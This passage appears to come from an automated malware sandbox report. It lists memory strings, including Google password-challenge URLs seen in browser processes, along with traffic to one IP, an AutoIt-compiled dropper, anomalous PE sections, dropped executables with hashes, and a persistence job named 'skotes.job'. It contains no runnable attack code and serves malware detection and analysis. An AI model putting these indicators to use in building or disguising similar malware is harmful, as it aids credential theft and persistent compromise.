Source: firefox.exe, 0000001F.00000002.2745093236.0000024B8ADC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/N
Source: file.exe, 00000000.00000003.1734167866.00000000056F4000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2479834599.000000000562F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2690564154.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2740608418.0000000005ED5000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2781423588.000000000537F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000023.00000002.2745372993.000002732A30A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000023.00000002.2739215559.000002732A0A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig
Source: firefox.exe, 0000001C.00000002.2570269408.0000028B27880000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2741392884.0000024B8AAE4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2740080623.0000024B8AA3A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2740080623.0000024B8AA30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2741796721.000002732A12A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2739215559.000002732A0A4000.00000004.00000020.00020000.00000000.sdmp, 60eccf97f7.exe, 00000028.00000003.2821982504.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, 60eccf97f7.exe, 00000028.00000003.2822123266.0000000001306000.00000004.00000020.00020000.00000000.sdmp, 60eccf97f7.exe, 00000028.00000003.2788344292.00000000012A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.2551704489.0000027716FDA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2570269408.0000028B2788F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001F.00000002.2741392884.0000024B8AAE4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2740080623.0000024B8AA30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2739215559.000002732A0A4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2741796721.000002732A120000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000023.00000002.2741796721.000002732A120000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwde
Source: firefox.exe, 00000023.00000002.2741796721.000002732A12A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdq

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50138 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 60eccf97f7.exe, 0000000C.00000002.2580341149.0000000000712000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_6c2daf39-0
Source: 60eccf97f7.exe, 0000000C.00000002.2580341149.0000000000712000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e7c56000-6
Source: 60eccf97f7.exe, 00000028.00000000.2717902902.0000000000712000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ae21de62-2
Source: 60eccf97f7.exe, 00000028.00000000.2717902902.0000000000712000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_a43421a7-6

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.0.dr	Static PE information: section name:
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.0.dr	Static PE information: section name: .idata
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name:
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name: .idata
Source: NN5L9AGTEIQO79C9NX.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: 0bdaf26796.exe.8.dr	Static PE information: section name:
Source: 0bdaf26796.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: 96b4cd4489.exe.8.dr	Static PE information: section name:
Source: 96b4cd4489.exe.8.dr	Static PE information: section name: .rsrc
Source: 96b4cd4489.exe.8.dr	Static PE information: section name: .idata
Source: 96b4cd4489.exe.8.dr	Static PE information: section name:
Source: ef2e7274a0.exe.8.dr	Static PE information: section name:
Source: ef2e7274a0.exe.8.dr	Static PE information: section name: .idata
Source: 01b01f6224.exe.8.dr	Static PE information: section name:
Source: 01b01f6224.exe.8.dr	Static PE information: section name: .idata
Source: LY9L8IB5BIZFUZH5SXM3A25NO.exe.9.dr	Static PE information: section name:
Source: LY9L8IB5BIZFUZH5SXM3A25NO.exe.9.dr	Static PE information: section name: .idata
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name:
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name: .idata
Source: PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe.9.dr	Static PE information: section name:
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name:
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name: .idata
Source: 50NZQQK98UQJAWNGOUBIYXS.exe.25.dr	Static PE information: section name:
Source: 2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe.25.dr	Static PE information: section name:
Source: 2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe.25.dr	Static PE information: section name: .idata
Source: 2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe.32.dr	Static PE information: section name:
Source: 2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe.32.dr	Static PE information: section name: .idata
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name:
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name: .idata
Source: CT05WZXFBOD5DYW9HOHXFI0FQUF.exe.32.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Code function: 2_2_004AB037	2_2_004AB037
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Code function: 2_2_0031CD20	2_2_0031CD20
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Code function: 2_2_0031DD75	2_2_0031DD75
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Code function: 2_2_004A9D03	2_2_004A9D03
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Code function: 2_2_004A0E47	2_2_004A0E47
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Code function: 2_2_004A0E2E	2_2_004A0E2E

Source: Joe Sandbox View	Dropped File: C:\ProgramData\chrome.dll 81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe 458502605B70B79AEC944909EE8C58227A048EECD65D4A6517BD4DDE486CDD32

Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7520 -s 1592

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1863863677.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859324570.0000000005BF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857361974.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856468025.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868029251.00000000059EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870648877.0000000000CE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867743123.0000000005B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865353153.0000000005B1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870527324.00000000055DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866053497.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1870194094.00000000055F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854150554.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858686158.00000000059EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855136891.00000000059EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856136940.0000000005AAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859966139.00000000059E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855970669.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867338457.00000000059E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857732877.0000000005ACC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855032099.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865860484.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855728648.0000000005B58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855241208.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859523623.00000000059EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
